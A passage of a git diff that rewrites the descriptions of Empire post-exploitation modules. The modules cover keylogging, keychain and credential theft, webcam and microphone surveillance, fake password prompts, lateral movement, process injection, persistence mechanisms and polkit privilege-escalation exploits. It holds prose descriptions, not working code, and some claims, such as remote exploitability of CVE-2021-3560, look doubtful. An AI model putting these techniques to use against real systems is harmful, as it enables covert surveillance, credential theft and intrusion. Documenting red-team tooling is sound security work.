generic + passwords, internet passwords, certificates, and private keys. + Supports custom keychain file paths and uses the user's login + password to decrypt the keychain master key. Provides comprehensive + credential extraction from the macOS Keychain including website + passwords, application passwords, WiFi passwords, and system + credentials. Useful for post-exploitation credential harvesting + when the user's password is known or obtained through other means. software: '' tactics: [] techniques: diff --git a/empire/server/modules/python/collection/osx/keychaindump_decrypt.yaml b/empire/server/modules/python/collection/osx/keychaindump_decrypt.yaml index 648f3bdc7..b61302bb9 100644 --- a/empire/server/modules/python/collection/osx/keychaindump_decrypt.yaml +++ b/empire/server/modules/python/collection/osx/keychaindump_decrypt.yaml @@ -3,9 +3,17 @@ authors: - name: '' handle: '@import-au' link: '' -description: 'Uses Apple Security utility to dump the contents of the keychain. WARNING: - Will prompt user for access to each key.On Newer versions of Sierra and High Sierra, - this will also ask the user for their password for each key.' +description: | + Extracts passwords from the macOS Keychain using the native + security command-line utility. Leverages the 'security dump-keychain' + command to retrieve keychain contents and parses the output to + extract account information, descriptions, usernames, and secrets. + Triggers user prompts for keychain access on each key, requiring + user interaction for successful extraction. Compatible with + sandboxed environments but may trigger security prompts on + newer macOS versions (Sierra and later). Provides credential + extraction capabilities for website passwords, application + passwords, and other stored credentials in the user's keychain. software: '' tactics: [] techniques: diff --git a/empire/server/modules/python/collection/osx/keylogger.yaml b/empire/server/modules/python/collection/osx/keylogger.yaml index 351f17259..965ad32af 100644 --- a/empire/server/modules/python/collection/osx/keylogger.yaml +++ b/empire/server/modules/python/collection/osx/keylogger.yaml @@ -9,9 +9,16 @@ authors: - name: '' handle: '@Salbei_' link: '' -description: Logs keystrokes to the specified file. Ruby based and heavily adapted - from MSF's osx/capture/keylog_recorder. Kill the resulting PID when keylogging - is finished and download the specified LogFile. +description: | + Captures and logs keystrokes from the macOS system using a Ruby-based keylogger + that leverages the Carbon framework. Monitors keyboard input across all active + applications and records keystrokes with application context and timestamps. + The module spawns a background Ruby process that continuously captures keyboard + events, including special keys and modifiers. Keylogged data is written to a + specified log file for later retrieval. Provides comprehensive user input + monitoring for credential harvesting, password capture, and user behavior + analysis. Requires manual termination of the Ruby process when keylogging + is complete. software: '' tactics: [] techniques: diff --git a/empire/server/modules/python/collection/osx/native_screenshot.yaml b/empire/server/modules/python/collection/osx/native_screenshot.yaml index ea6d4a2d5..d4e74180b 100644 --- a/empire/server/modules/python/collection/osx/native_screenshot.yaml +++ b/empire/server/modules/python/collection/osx/native_screenshot.yaml @@ -3,8 +3,14 @@ authors: - name: Chris Ross handle: '@xorrior' link: https://twitter.com/xorrior -description: Takes a screenshot of an OSX desktop using the Python Quartz libraries - and returns the data. +description: | + Captures screenshots of macOS desktop displays using the Python + Quartz libraries and returns the data. Supports capturing from + specific monitors or all connected displays simultaneously. + Generates high-quality PNG images that are returned as bytes + for later retrieval. Provides visual reconnaissance capabilities + for capturing the current state of user desktops, including + open applications, documents, and user activity. software: '' tactics: [] techniques: diff --git a/empire/server/modules/python/collection/osx/native_screenshot_mss.yaml b/empire/server/modules/python/collection/osx/native_screenshot_mss.yaml index 36f790456..ae3fa49d7 100644 --- a/empire/server/modules/python/collection/osx/native_screenshot_mss.yaml +++ b/empire/server/modules/python/collection/osx/native_screenshot_mss.yaml @@ -3,8 +3,17 @@ authors: - name: Chris Ross handle: '@xorrior' link: https://twitter.com/xorrior -description: Takes a screenshot of an OSX desktop using the Python mss module. The - python-mss module utilizes ctypes and the CoreFoundation library. +description: | + Captures screenshots of macOS desktop displays using the Python + mss module, which leverages ctypes and the CoreFoundation library + for native screen capture capabilities. Supports capturing from + specific monitors or all connected displays simultaneously. + Generates high-quality PNG images that are saved to disk for + later retrieval. Provides visual reconnaissance capabilities + for capturing the current state of user desktops, including + open applications, documents, and user activity. Useful for + surveillance, intelligence gathering, and understanding user + behavior through visual analysis of desktop contents. software: '' tactics: [] techniques: diff --git a/empire/server/modules/python/collection/osx/osx_mic_record.yaml b/empire/server/modules/python/collection/osx/osx_mic_record.yaml index ec29a4f60..f687d1520 100644 --- a/empire/server/modules/python/collection/osx/osx_mic_record.yaml +++ b/empire/server/modules/python/collection/osx/osx_mic_record.yaml @@ -3,8 +3,16 @@ authors: - name: '' handle: '@s0lst1c3' link: '' -description: Records audio through the MacOS webcam mic by leveraging the Apple AVFoundation - API. +description: | + Records audio through the macOS microphone using the Apple AVFoundation + API. Leverages AVAudioRecorder to capture audio with configurable + duration and quality settings. Creates temporary audio files in + Core Audio Format (CAF) that are automatically deleted after + recording. Uses high-quality audio settings including 44.1kHz + sample rate and stereo channels. Provides audio reconnaissance + capabilities for capturing conversations, ambient sounds, and + user interactions. Useful for surveillance, intelligence gathering, + and monitoring user activities through audio capture. software: '' tactics: [] techniques: diff --git a/empire/server/modules/python/collection/osx/pillage_user.yaml b/empire/server/modules/python/collection/osx/pillage_user.yaml index afbffa764..7bc8aed82 100644 --- a/empire/server/modules/python/collection/osx/pillage_user.yaml +++ b/empire/server/modules/python/collection/osx/pillage_user.yaml @@ -3,9 +3,17 @@ authors: - name: Will Schroeder handle: '@harmj0y' link: https://twitter.com/harmj0y -description: Pillages the current user for their keychain, bash_history, ssh known - hosts, recent folders, etc. For logon.keychain, use https://github.com/n0fate/chainbreaker - .For other .plist files, check https://davidkoepi.wordpress.com/2013/07/06/macforensics5/ +description: | + Collects sensitive user data including keychain files, bash history, + SSH keys and configuration, and application preference files. + Scans user directories for login keychains, command history, + SSH known_hosts files, Finder preferences, recent items, and + other user-specific configuration data. Supports targeting + specific users or all users when run with root privileges. + Downloads files in chunks to avoid detection and includes + configurable sleep intervals between downloads. Useful for + credential harvesting, user behavior analysis, and collecting + sensitive configuration data for lateral movement and persistence. software: '' tactics: [] techniques: diff --git a/empire/server/modules/python/collection/osx/prompt.yaml b/empire/server/modules/python/collection/osx/prompt.yaml index 4a1bed32f..f3fb1d17d 100644 --- a/empire/server/modules/python/collection/osx/prompt.yaml +++ b/empire/server/modules/python/collection/osx/prompt.yaml @@ -6,8 +6,16 @@ authors: - name: Will Schroeder handle: '@harmj0y' link: https://twitter.com/harmj0y -description: Launches a specified application with an prompt for credentials with - osascript. +description: | + Launches applications with credential prompts using AppleScript + to trigger authentication dialogs. Leverages osascript to + execute AppleScript commands that launch system applications + requiring user authentication. Supports both regular and + sandbox-safe application launching modes. Can list available + applications suitable for credential prompting. Useful for + social engineering attacks, credential harvesting, and + triggering user authentication prompts to capture passwords + and other sensitive credentials. software: '' tactics: [] techniques: diff --git a/empire/server/modules/python/collection/osx/screensaver_alleyoop.yaml b/empire/server/modules/python/collection/osx/screensaver_alleyoop.yaml index df2d23e94..c104e4e7e 100644 --- a/empire/server/modules/python/collection/osx/screensaver_alleyoop.yaml +++ b/empire/server/modules/python/collection/osx/screensaver_alleyoop.yaml @@ -12,9 +12,17 @@ authors: - name: '' handle: '@Killswitch-GUI' link: '' -description: Launches a screensaver with a prompt for credentials with osascript. - This locks the user out until the password can unlock the user keychain. This allows - you to prevent Sudo/su failed logon attempts. (credentials till I get them!) +description: | + Launches a screensaver with credential prompts using AppleScript + to lock the user out until the correct password is provided. + Leverages the ScreenSaverEngine to display authentication dialogs + and locks the keychain to prevent sudo/su failed login attempts. + Continuously prompts for passwords until the correct one is found + or the maximum attempt count is reached. Uses the security + command-line tool to lock and unlock the keychain for password + validation. Useful for credential harvesting, social engineering, + and forcing users to provide their passwords through persistent + authentication prompts. software: '' tactics: [] techniques: diff --git a/empire/server/modules/python/collection/osx/screenshot.yaml b/empire/server/modules/python/collection/osx/screenshot.yaml index b03d47262..f5c8e40ef 100644 --- a/empire/server/modules/python/collection/osx/screenshot.yaml +++ b/empire/server/modules/python/collection/osx/screenshot.yaml @@ -3,8 +3,13 @@ authors: - name: Will Schroeder handle: '@harmj0y' link: https://twitter.com/harmj0y -description: Takes a screenshot of an OSX desktop using screencapture and returns - the data. +description: | + Captures a screenshot of the macOS desktop using the native screencapture utility + and returns the image data in PNG format. This module provides visual reconnaissance + capabilities by capturing the current state of the user's desktop, including + open applications, documents, and user activity. The screenshot is temporarily + saved to disk, converted to base64 format for transmission, and then securely + deleted. software: '' tactics: [] techniques: diff --git a/empire/server/modules/python/collection/osx/search_email.yaml b/empire/server/modules/python/collection/osx/search_email.yaml index 59fedb7af..8a0a33da7 100644 --- a/empire/server/modules/python/collection/osx/search_email.yaml +++ b/empire/server/modules/python/collection/osx/search_email.yaml @@ -3,8 +3,16 @@ authors: - name: Will Schroeder handle: '@harmj0y' link: https://twitter.com/harmj0y -description: Searches for Mail .emlx messages, optionally only returning messages - with the specified SearchTerm. +description: | + Searches and extracts email messages from the macOS Mail application + by scanning .emlx files in the user's Mail directory. Supports + optional keyword filtering to find specific messages containing + search terms. Scans the Mail application's message storage format + to locate and extract email content, headers, and metadata. + Provides email reconnaissance capabilities for intelligence + gathering and communication analysis. Useful for collecting + sensitive email communications, contact information, and + understanding user communication patterns. software: '' tactics: [] techniques: diff --git a/empire/server/modules/python/collection/osx/sniffer.yaml b/empire/server/modules/python/collection/osx/sniffer.yaml index ee5f523a8..150d51823 100644 --- a/empire/server/modules/python/collection/osx/sniffer.yaml +++ b/empire/server/modules/python/collection/osx/sniffer.yaml @@ -6,7 +6,17 @@ authors: - name: '' handle: '@Killswitch-GUI' link: '' -description: This module will do a full network stack capture. +description: | + Captures network traffic using libpcap on macOS systems for + comprehensive network analysis. Leverages the native libpcap + library to perform full packet capture at the network interface + level. Supports configurable interface selection, packet count + limits, and output file paths. Generates standard PCAP files + compatible with Wireshark and other network analysis tools. + Requires root privileges to access network interfaces and + perform packet capture. Useful for network reconnaissance, + traffic analysis, and capturing sensitive data in transit + on macOS systems. software: '' tactics: [] techniques: diff --git a/empire/server/modules/python/collection/osx/webcam.yaml b/empire/server/modules/python/collection/osx/webcam.yaml index 65dd5d2fa..04b0528d7 100644 --- a/empire/server/modules/python/collection/osx/webcam.yaml +++ b/empire/server/modules/python/collection/osx/webcam.yaml @@ -3,7 +3,14 @@ authors: - name: Will Schroeder handle: '@harmj0y' link: https://twitter.com/harmj0y -description: Takes a picture of a person through OSX's webcam with an ImageSnap binary. +description: | + Captures a photograph using the macOS system's built-in webcam or external + camera using the ImageSnap utility. Downloads and executes a base64-encoded + ImageSnap binary to take a webcam snapshot with a configurable warm-up delay. + The module temporarily stores the binary and captured image, then returns + the image data in PNG format for transmission. Provides visual reconnaissance + capabilities by capturing real-time images of the user or environment in + front of the camera. software: '' tactics: [] techniques: diff --git a/empire/server/modules/python/collection/windows/TicketDumper.yml b/empire/server/modules/python/collection/windows/TicketDumper.yml index febeea198..ad958307c 100644 --- a/empire/server/modules/python/collection/windows/TicketDumper.yml +++ b/empire/server/modules/python/collection/windows/TicketDumper.yml @@ -3,7 +3,17 @@ authors: - name: 'Jake Krasnov' handle: '@hubbl3' link: '' -description: uses IronPython to dump tickets in the same way that klist.exe does +description: | + Extracts Kerberos tickets from the Windows LSA (Local Security Authority) + using IronPython to interface with the Windows API. Leverages the + LsaEnumerateLogonSessions and LsaGetLogonSessionData functions to + enumerate active logon sessions and retrieve associated Kerberos + ticket information. Provides detailed output including ticket + lifetimes, service names, and authentication data similar to + the native klist.exe utility. Requires administrative privileges + to access LSA memory and ticket data. Useful for credential + harvesting, Kerberos reconnaissance, and understanding active + authentication sessions on Windows systems. tactics: [] techniques: - T1558 diff --git a/empire/server/modules/python/discovery/nameserver.yaml b/empire/server/modules/python/discovery/nameserver.yaml index b146fc456..b60ea1c1d 100644 --- a/empire/server/modules/python/discovery/nameserver.yaml +++ b/empire/server/modules/python/discovery/nameserver.yaml @@ -3,7 +3,12 @@ authors: - name: '0x636f646f' handle: '@BuildAndDestroy' link: https://github.com/BuildAndDestroy -description: Retrieve the nameserver IPv4 Address +description: | + Retrieves the primary DNS nameserver IPv4 address configured on the target + system. This module queries the system's network configuration to identify + the DNS server that the system uses for domain name resolution. Provides + essential network reconnaissance information for understanding the target's + network infrastructure and DNS configuration. software: '' techniques: - T1016.001 diff --git a/empire/server/modules/python/exploit/web/jboss_jmx.yaml b/empire/server/modules/python/exploit/web/jboss_jmx.yaml index 480df9a68..692f49bbd 100644 --- a/empire/server/modules/python/exploit/web/jboss_jmx.yaml +++ b/empire/server/modules/python/exploit/web/jboss_jmx.yaml @@ -3,8 +3,14 @@ authors: - name: '' handle: '@424f424f' link: https://twitter.com/424f424f -description: Exploit JBoss java serialization flaw. Requires upload of ysoserial - payload. +description: | + Exploits JBoss application server's JMXInvokerServlet vulnerability through + Java deserialization attacks. Leverages ysoserial-generated payloads to + execute arbitrary code on vulnerable JBoss instances. The module sends + malicious serialized Java objects to the JMXInvokerServlet endpoint, + which deserializes the payload and executes the embedded commands. + Requires a pre-generated ysoserial payload file containing the desired + command execution code. software: '' tactics: [] techniques: diff --git a/empire/server/modules/python/lateral_movement/multi/ssh_command.yaml b/empire/server/modules/python/lateral_movement/multi/ssh_command.yaml index ae70dddb3..5b8c5968c 100644 --- a/empire/server/modules/python/lateral_movement/multi/ssh_command.yaml +++ b/empire/server/modules/python/lateral_movement/multi/ssh_command.yaml @@ -3,7 +3,15 @@ authors: - name: '' handle: '@424f424f' link: https://twitter.com/424f424f -description: This module will send a command via ssh. +description: | + Executes commands on remote systems via SSH using password authentication. + Leverages Python's pty module to handle interactive SSH sessions and + automatically provides credentials when prompted. Supports custom SSH + connections with configurable login credentials and target commands. + The module establishes an SSH connection to the specified host, executes + the command, and returns the output. Useful for lateral movement across + network segments, remote command execution, and maintaining access to + multiple systems through SSH connections. software: '' tactics: [] techniques: diff --git a/empire/server/modules/python/lateral_movement/multi/ssh_launcher.yaml b/empire/server/modules/python/lateral_movement/multi/ssh_launcher.yaml index 283663f3e..88d2eab80 100644 --- a/empire/server/modules/python/lateral_movement/multi/ssh_launcher.yaml +++ b/empire/server/modules/python/lateral_movement/multi/ssh_launcher.yaml @@ -3,7 +3,17 @@ authors: - name: '' handle: '@424f424f' link: https://twitter.com/424f424f -description: This module will send an launcher via ssh. +description: | + Establishes lateral movement by deploying an Empire agent launcher + to remote systems via SSH. Uses password authentication to connect + to target systems and executes the Empire launcher script to + establish a new agent connection back to the specified listener. + Includes safety checks for security software like LittleSnitch + and sandbox detection to avoid detection. Supports configurable + User-Agent strings for the staging request. Useful for lateral + movement across network segments, establishing persistence on + remote systems, and expanding the attack surface through + legitimate SSH connections. software: '' tactics: [] techniques: diff --git a/empire/server/modules/python/management/multi/kerberos_inject.yaml b/empire/server/modules/python/management/multi/kerberos_inject.yaml index e547195b2..b6f4b52e6 100644 --- a/empire/server/modules/python/management/multi/kerberos_inject.yaml +++ b/empire/server/modules/python/management/multi/kerberos_inject.yaml @@ -3,7 +3,15 @@ authors: - name: '' handle: '@424f424f' link: https://twitter.com/424f424f -description: Generates a kerberos keytab and injects it into the current runspace. +description: | + Creates and injects Kerberos keytab files into the current + session for authentication. Generates keytab files using + ktutil with specified service principal names and NTLM hashes, + then uses kinit to inject the credentials into the current + Kerberos session. Supports custom keytab file names and + principal specifications. Enables Kerberos authentication + using pre-computed credentials without requiring password + prompts. software: '' tactics: [] techniques: diff --git a/empire/server/modules/python/management/multi/socks.yaml b/empire/server/modules/python/management/multi/socks.yaml index 6414f6d0b..96bcfeecb 100644 --- a/empire/server/modules/python/management/multi/socks.yaml +++ b/empire/server/modules/python/management/multi/socks.yaml @@ -3,7 +3,13 @@ authors: - name: klustic handle: '' link: '' -description: Spawn an AROX relay to extend a SOCKS proxy through your agent. +description: | + Establishes a SOCKSv5 proxy tunnel through the Empire agent + using the AlmondRocks (AROX) relay system. Creates a proxy + connection that routes traffic through the compromised system + to extend network access and enable lateral movement. Requires + a standalone AlmondRocks server to be configured and running + for the relay to connect to. software: '' tactics: [] techniques: diff --git a/empire/server/modules/python/management/multi/spawn.yaml b/empire/server/modules/python/management/multi/spawn.yaml index 39f005358..a91ca7948 100644 --- a/empire/server/modules/python/management/multi/spawn.yaml +++ b/empire/server/modules/python/management/multi/spawn.yaml @@ -3,7 +3,12 @@ authors: - name: Will Schroeder handle: '@harmj0y' link: https://twitter.com/harmj0y -description: Spawns a new Empire agent. +description: | + Creates and launches a new Empire agent process on the target system using + the specified listener configuration. This module enables process spawning + capabilities to establish additional agent instances for redundancy, + lateral movement, or process migration. The new agent connects to the + designated listener with configurable User-Agent settings. software: '' tactics: [] techniques: diff --git a/empire/server/modules/python/management/osx/screen_sharing.yaml b/empire/server/modules/python/management/osx/screen_sharing.yaml index 5978238f2..9e89bc0e7 100644 --- a/empire/server/modules/python/management/osx/screen_sharing.yaml +++ b/empire/server/modules/python/management/osx/screen_sharing.yaml @@ -3,7 +3,16 @@ authors: - name: '' handle: '@n00py' link: https://twitter.com/n00py1 -description: Enables ScreenSharing to allow you to connect to the host via VNC. +description: | + Enables macOS Screen Sharing and VNC access by configuring the + Apple Remote Desktop (ARD) agent. Uses the kickstart utility to + activate remote management services, enable VNC legacy mode, + and set a custom VNC password. Requires sudo privileges to + modify system services and network settings. Creates a persistent + remote access capability that allows VNC connections to the + target system. Useful for remote desktop access, visual + reconnaissance, and maintaining persistent access through + legitimate remote management protocols. software: '' tactics: [] techniques: diff --git a/empire/server/modules/python/management/osx/shellcodeinject64.yaml b/empire/server/modules/python/management/osx/shellcodeinject64.yaml index 7c95bdb62..64314d140 100644 --- a/empire/server/modules/python/management/osx/shellcodeinject64.yaml +++ b/empire/server/modules/python/management/osx/shellcodeinject64.yaml @@ -6,7 +6,16 @@ authors: - name: '' handle: '@midnite_runr' link: '' -description: Inject shellcode into a x64 bit process +description: | + Injects x64 shellcode into a specified process on macOS using + Mach injection techniques. Leverages the Mach messaging system + to allocate memory in the target process, write shellcode to + the allocated memory, and execute it within the process context. + Requires administrative privileges to perform process injection. + Uses a custom C extension to interface with macOS system calls + for memory manipulation and process control. Useful for process + injection attacks, code execution in foreign processes, and + evading detection by executing code within legitimate processes. software: '' tactics: - TA0002 diff --git a/empire/server/modules/python/persistence/multi/crontab.yaml b/empire/server/modules/python/persistence/multi/crontab.yaml index 31b6284ed..8315da9f9 100644 --- a/empire/server/modules/python/persistence/multi/crontab.yaml +++ b/empire/server/modules/python/persistence/multi/crontab.yaml @@ -3,7 +3,17 @@ authors: - name: '' handle: '@Cx01N' link: '' -description: This module establishes persistence via crontab +description: | + Establishes persistence by creating scheduled cron jobs that execute + specified commands at regular intervals. Adds new cron entries to + the user's crontab without affecting existing scheduled tasks. + Supports configurable scheduling using standard cron syntax and + includes functionality to remove all cron jobs for cleanup. + The module creates a temporary crontab file, appends the new job, + and installs the updated crontab. Useful for maintaining long-term + access to compromised systems, executing recurring reconnaissance + tasks, and establishing persistence that survives system reboots + and user sessions. software: '' tactics: [] techniques: diff --git a/empire/server/modules/python/persistence/multi/desktopfile.yaml b/empire/server/modules/python/persistence/multi/desktopfile.yaml index 381c9e147..784b53d60 100644 --- a/empire/server/modules/python/persistence/multi/desktopfile.yaml +++ b/empire/server/modules/python/persistence/multi/desktopfile.yaml @@ -3,8 +3,17 @@ authors: - name: '' handle: '@jarrodcoulter' link: '' -description: Installs an Empire launcher script in ~/.config/autostart on Linux versions - with GUI. +description: | + Creates and installs a desktop entry file in the ~/.config/autostart + directory to establish persistence on Linux systems with graphical + user interfaces. The desktop file follows the freedesktop.org + specification and automatically launches the Empire agent when + the user logs into the desktop environment. Creates a properly + formatted .desktop file with the specified name and configures + it to execute the Empire launcher script. Includes functionality + to remove the persistence mechanism for cleanup. Useful for + establishing persistence on Linux desktop systems and maintaining + access across user sessions and system reboots. software: '' tactics: [] techniques: diff --git a/empire/server/modules/python/persistence/osx/CreateHijacker.yaml b/empire/server/modules/python/persistence/osx/CreateHijacker.yaml index 0cde3487d..63d671012 100644 --- a/empire/server/modules/python/persistence/osx/CreateHijacker.yaml +++ b/empire/server/modules/python/persistence/osx/CreateHijacker.yaml @@ -6,10 +6,17 @@ authors: - name: Chris Ross handle: '@xorrior' link: https://twitter.com/xorrior -description: Configures and Empire dylib for use in a Dylib hijack, given the path - to a legitimate dylib of a vulnerable application. The architecture of the dylib - must match the target application. The configured dylib will be copied local to - the hijackerPath +description: | + Creates a malicious dynamic library (dylib) for use in library + hijacking attacks on macOS applications. Generates a dylib with + the same architecture as the target application that loads the + Empire agent when the vulnerable application starts. Requires + a legitimate dylib path from a vulnerable application and + supports both x86 and x64 architectures. The malicious dylib + is placed in a location where the application will load it + instead of the legitimate library. Useful for establishing + persistence through application hijacking and maintaining + access when vulnerable applications are launched. software: '' tactics: [] techniques: diff --git a/empire/server/modules/python/persistence/osx/LaunchAgent.yaml b/empire/server/modules/python/persistence/osx/LaunchAgent.yaml index 4a2f5e2dc..daf259726 100644 --- a/empire/server/modules/python/persistence/osx/LaunchAgent.yaml +++ b/empire/server/modules/python/persistence/osx/LaunchAgent.yaml @@ -3,7 +3,16 @@ authors: - name: Chris Ross handle: '@xorrior' link: https://twitter.com/xorrior -description: Installs an Empire Launch Agent. +description: | + Creates and installs a macOS LaunchAgent plist file to establish persistence + across user sessions and system reboots. The LaunchAgent is configured to + automatically start the Empire agent when the user logs in, providing + continuous access to the compromised system. The module creates a properly + formatted plist file with the specified daemon name and installs it in the + user's LaunchAgents directory. Includes safety checks for security software + like LittleSnitch and sandbox detection to avoid detection. Provides + reliable persistence mechanism that survives user logouts and system + restarts. software: '' tactics: [] techniques: diff --git a/empire/server/modules/python/persistence/osx/LaunchAgentUserLandPersistence.yaml b/empire/server/modules/python/persistence/osx/LaunchAgentUserLandPersistence.yaml index b0e51ba34..877ba6cea 100644 --- a/empire/server/modules/python/persistence/osx/LaunchAgentUserLandPersistence.yaml +++ b/empire/server/modules/python/persistence/osx/LaunchAgentUserLandPersistence.yaml @@ -6,7 +6,17 @@ authors: - name: '' handle: '@n0pe_sled' link: '' -description: Installs an Empire launchAgent. +description: | + Creates and installs a macOS LaunchAgent plist file in the user's home + directory to establish persistence across user sessions and system reboots. + The LaunchAgent is configured to automatically start the Empire agent when + the user logs in, providing continuous access to the compromised system + without requiring administrative privileges. The module creates a properly + formatted plist file with the specified name and installs it in the user's + LaunchAgents directory. Includes safety checks for security software like + LittleSnitch and sandbox detection to avoid detection. Provides reliable + user-level persistence mechanism that survives user logouts and system + restarts. software: '' tactics: [] techniques: diff --git a/empire/server/modules/python/persistence/osx/RemoveLaunchAgent.yaml b/empire/server/modules/python/persistence/osx/RemoveLaunchAgent.yaml index 7ab20f782..ded519090 100644 --- a/empire/server/modules/python/persistence/osx/RemoveLaunchAgent.yaml +++ b/empire/server/modules/python/persistence/osx/RemoveLaunchAgent.yaml @@ -3,7 +3,18 @@ authors: - name: Chris Ross handle: '@xorrior' link: https://twitter.com/xorrior -description: Remove an Empire Launch Daemon. +description: | + Removes Empire persistence mechanisms by unloading and deleting + LaunchAgent/LaunchDaemon plist files and their associated + program files. Uses launchctl to unload the service from + the system, then removes both the plist configuration file + and the executable binary or script. Provides cleanup + functionality for removing persistence mechanisms and + covering tracks after operations. Supports custom paths + for both the plist file and the associated program file. + Useful for post-exploitation cleanup, removing evidence, + and maintaining operational security by eliminating + persistence artifacts. software: '' tactics: [] techniques: diff --git a/empire/server/modules/python/persistence/osx/loginhook.yaml b/empire/server/modules/python/persistence/osx/loginhook.yaml index a4549d9dd..a0dc47362 100644 --- a/empire/server/modules/python/persistence/osx/loginhook.yaml +++ b/empire/server/modules/python/persistence/osx/loginhook.yaml @@ -3,7 +3,17 @@ authors: - name: '' handle: '@Killswitch-GUI' link: '' -description: Installs Empire agent via LoginHook. +description: | + Establishes persistence by configuring a macOS LoginHook that + executes the Empire agent when users log into the system. + Uses the defaults command to set the loginHook property in + the system preferences, which runs a specified script during + the login process. Requires sudo privileges to modify system + preferences and configure the login hook. The hook script + is executed for every user login, providing persistent + access across user sessions and system reboots. Useful for + maintaining long-term access to compromised macOS systems + through legitimate system mechanisms. software: '' tactics: [] techniques: diff --git a/empire/server/modules/python/persistence/osx/mail.yaml b/empire/server/modules/python/persistence/osx/mail.yaml index 15820f440..9e15feb7f 100644 --- a/empire/server/modules/python/persistence/osx/mail.yaml +++ b/empire/server/modules/python/persistence/osx/mail.yaml @@ -3,8 +3,18 @@ authors: - name: '' handle: '@n00py' link: https://twitter.com/n00py1 -description: Installs a mail rule that will execute an AppleScript stager when a - trigger word is present in the Subject of an incoming mail. +description: | + Establishes persistence by creating a mail rule in the macOS + Mail application that executes an AppleScript stager when + emails with specific trigger words in the subject line are + received. Configures the Mail application to automatically + run the Empire agent stager when matching emails arrive, + providing a covert persistence mechanism. Supports custom + rule names and trigger words for flexibility. Includes + safety checks for security software detection. Useful for + maintaining access through email-triggered execution and + establishing persistence that activates when specific + emails are received. software: '' tactics: [] techniques: diff --git a/empire/server/modules/python/privesc/linux/linux_priv_checker.yaml b/empire/server/modules/python/privesc/linux/linux_priv_checker.yaml index 66d4d97a9..58ee01f64 100644 --- a/empire/server/modules/python/privesc/linux/linux_priv_checker.yaml +++ b/empire/server/modules/python/privesc/linux/linux_priv_checker.yaml @@ -6,9 +6,16 @@ authors: - name: '' handle: '@Cx01N' link: '' -description: This script is intended to be executed locally ona Linux box to enumerate - basic system info, and search for commonprivilege escalation vectors with pure - python. +description: | + Executes a comprehensive Linux privilege escalation checker written + in pure Python to enumerate system information and identify common + privilege escalation vectors. Scans for kernel exploits, misconfigured + services, weak file permissions, environment variables, and other + security misconfigurations that could lead to privilege escalation. + Provides detailed output of potential attack paths and system + vulnerabilities. Useful for post-exploitation reconnaissance, + security assessments, and identifying privilege escalation + opportunities on Linux systems. software: '' tactics: [] techniques: diff --git a/empire/server/modules/python/privesc/linux/unix_privesc_check.yaml b/empire/server/modules/python/privesc/linux/unix_privesc_check.yaml index 15ff9626e..a91b71100 100644 --- a/empire/server/modules/python/privesc/linux/unix_privesc_check.yaml +++ b/empire/server/modules/python/privesc/linux/unix_privesc_check.yaml @@ -6,9 +6,30 @@ authors: - name: '' handle: '@pentestmonkey' link: '' -description: This script is intended to be executed locally ona Linux box to enumerate - basic system info, and search for commonprivilege escalation vectors with a all - in one shell script. +description: | + A comprehensive Unix/Linux privilege escalation enumeration script that performs automated + security auditing to identify common privilege escalation vectors. This module downloads + and executes the unix-privesc-check tool locally on the target system to enumerate system + information and search for security misconfigurations that could allow local privilege + escalation. + + The script performs extensive checks including: + - File permission analysis on critical system files and directories + - SUID/SGID program identification and security assessment + - Cron job and startup script permission validation + - User account and password policy auditing + - Network service configuration analysis + - Kernel and system hardening verification + - Exploit mitigation technique detection (ASLR, NX, SELinux, etc.) + - Database trust relationship assessment + - SSH key and authentication method enumeration + + The module supports two modes: 'standard' for quick enumeration and 'detailed' for + comprehensive analysis including open file descriptor checks and binary analysis. + Results are returned with specific warning codes (UPC001-UPC043) for easy identification + of security issues. This tool is essential for penetration testers and security + auditors to systematically identify privilege escalation opportunities on Unix/Linux + systems. software: '' tactics: [] techniques: diff --git a/empire/server/modules/python/privesc/multi/CVE-2021-3560.yaml b/empire/server/modules/python/privesc/multi/CVE-2021-3560.yaml index e4560eb0a..0cc08e25a 100644 --- a/empire/server/modules/python/privesc/multi/CVE-2021-3560.yaml +++ b/empire/server/modules/python/privesc/multi/CVE-2021-3560.yaml @@ -3,11 +3,27 @@ authors: - name: Anthony Rose handle: '@Cx01N' link: https://twitter.com/@Cx01N_ -description: CVE-2021-3560 is an authentication bypass on polkit, which allows unprivileged - user to call privileged methods using DBus, in this exploit we will call 2 privileged - methods provided by accounts service (CreateUser and SetPassword), which allows - us to create a privileged user then setting a password to it and at the end logging - as the created user and then elevate to root. +description: | + Exploits CVE-2021-3560, a critical authentication bypass vulnerability in polkit + (PolicyKit) that allows unprivileged users to call privileged methods via DBus + without proper authentication. This module leverages the vulnerability to create + a new privileged user account and gain root access on vulnerable Linux systems. + + The exploit works by: + - Bypassing polkit's authentication mechanism through a race condition + - Calling privileged DBus methods on the accounts service + - Creating a new user with administrative privileges via CreateUser method + - Setting a password for the new user via SetPassword method + - Logging in as the newly created privileged user + - Elevating to root privileges through the compromised account + + This vulnerability affects polkit versions prior to 0.119 and is particularly + dangerous because it requires no user interaction and can be exploited remotely + in certain configurations. The exploit terminates the existing agent and spawns + a new high-integrity agent with root privileges, providing complete system access. + + The vulnerability was discovered by GitHub Security Lab and affects multiple + Linux distributions including Ubuntu, Debian, and CentOS. software: '' tactics: [] techniques: diff --git a/empire/server/modules/python/privesc/multi/CVE-2021-4034.yaml b/empire/server/modules/python/privesc/multi/CVE-2021-4034.yaml index b49a2a61d..d804bfd89 100644 --- a/empire/server/modules/python/privesc/multi/CVE-2021-4034.yaml +++ b/empire/server/modules/python/privesc/multi/CVE-2021-4034.yaml @@ -1,11 +1,18 @@ +# Needs Revisions name: Pwnkit (CVE-2021-4034) authors: - name: Anthony Rose handle: '@Cx01N' link: https://twitter.com/@Cx01N_ -description: PwnKit - Local Privilege Escalation Vulnerability Discovered in polkit’s - pkexec (CVE-2021-4034). Warning - It will kill off your existing agent and spawn - a new one in a high integrity process. +description: | + Exploits CVE-2021-4034 (PwnKit) to achieve local privilege escalation on + Linux systems with vulnerable polkit installations. The vulnerability exists + in the pkexec utility and allows unprivileged users to execute arbitrary + commands with root privileges. This module leverages the memory corruption + vulnerability in polkit's argument parsing to bypass security restrictions + and gain elevated privileges. The exploit terminates the existing agent + process and spawns a new high-integrity agent with root privileges. + Affects systems with polkit versions prior to 0.105-26ubuntu1.2. software: '' tactics: [] techniques: diff --git a/empire/server/modules/python/privesc/multi/bashdoor.yaml b/empire/server/modules/python/privesc/multi/bashdoor.yaml index 10a0de277..43d406b49 100644 --- a/empire/server/modules/python/privesc/multi/bashdoor.yaml +++ b/empire/server/modules/python/privesc/multi/bashdoor.yaml @@ -3,8 +3,23 @@ authors: - name: '' handle: '@n00py' link: https://twitter.com/n00py1 -description: Creates 